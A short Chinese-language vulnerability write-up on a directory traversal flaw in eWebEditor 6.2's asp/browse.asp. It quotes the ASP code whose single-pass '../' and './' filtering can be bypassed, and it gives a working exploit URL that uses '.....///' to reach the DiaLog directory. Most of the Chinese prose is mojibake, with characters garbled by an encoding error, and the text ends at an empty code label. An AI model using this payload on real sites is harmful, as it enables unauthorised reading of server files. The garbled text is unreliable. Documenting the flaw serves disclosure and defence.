eWebEditor 6.2 目录遍历漏洞(asp/browse.asp)

asp/browse.asp����Դ��:

���ƴ�����������:
Dim s_ReturnFlag, s_FolderType, s_Dir
Dim s_CurrDir
s_ReturnFlag = Trim(Request.QueryString("returnflag"))
s_FolderType = Trim(Request.QueryString("foldertype"))
s_Dir = Trim(Request("dir"))
Select Case s_FolderType
Case "upload"
s_CurrDir = sUploadDir
Case "shareimage"
sAllowExt = ""
s_CurrDir = sPathShareImage
Case "shareflash"
sAllowExt = ""
s_CurrDir = sPathShareFlash
Case "sharemedia"
sAllowExt = ""
s_CurrDir = sPathShareMedia
Case Else
s_FolderType = "shareother"
sAllowExt = ""
s_CurrDir = sPathShareOther
End Select
s_Dir = Replace(s_Dir, "\", "/")
'���������Ƕ�Ŀ¼��ת�Ĵ���,©�������ڴ˴�
s_Dir = Replace(s_Dir, "../", "") '�滻../Ϊ��
s_Dir = Replace(s_Dir, "./", "") '�滻./Ϊ��
If Left(s_Dir,1)="/" Then
s_Dir = ""
End If
Dim s_Dir2
s_Dir2 = Replace(s_Dir, "/", "\")
If s_Dir "" Then
If CheckValidDir(s_CurrDir & s_Dir2) = True Then
s_CurrDir = s_CurrDir & s_Dir2
Else
s_Dir = ""
End If
End If



�����../��./���й���������ֹĿ¼��ת,������ͨ����������Ĺ����.���ڼ���滻ֻ����һ�ο���ʹ��....//�����ϼ�Ŀ¼,�����滻��....//���../

��������ʾ��:

http://localhost/asp/browse.asp?action=file&type=file&dir=.....///DiaLog&style=full650&cusdir=&foldertype=upload&returnflag=span_upload

��ת����eWebEditor��DiaLogĿ¼,�鿴����ҳ���Դ�ļ�:


���ƴ�����������: